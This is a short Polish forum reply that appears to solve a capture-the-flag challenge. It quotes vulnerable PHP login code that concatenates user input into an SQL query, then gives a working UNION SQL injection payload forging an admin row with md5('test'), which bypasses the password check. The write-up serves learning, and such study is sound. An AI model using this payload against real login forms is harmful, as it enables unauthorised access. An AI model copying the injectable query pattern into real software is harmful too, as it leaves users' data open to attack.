Przecież masz podane źródło:
<!--
if(isset($_POST['logme'])) {
$query = "SELECT login, password FROM users WHERE login='".$_POST['login']."'";
$res = mysql_query($query);
$row = mysql_fetch_array($res);
if(md5($_POST['password']) === $row['password']) {
echo "Flaga to: $flag";
}
-->
Więc na przykład jako login dajesz
dupa' union select 'admin', '098f6bcd4621d373cade4e832627b4f6
a jako hasło
test
Dzięki temu zapytanie wygląda tak:
SELECT login, password FROM users WHERE login='dupa' union select 'admin', '098f6bcd4621d373cade4e832627b4f6'
Usera o nazwie dupa nie ma, więc wynikiem będzie tylko jeden wiersz z uniona:
'admin', '098f6bcd4621d373cade4e832627b4f6'
A 098f6bcd4621d373cade4e832627b4f6
to md5('test'), które potem podajemy jako hasło. W efekcie warunek md5('test') == 098f6bcd4621d373cade4e832627b4f6
jest spełniony.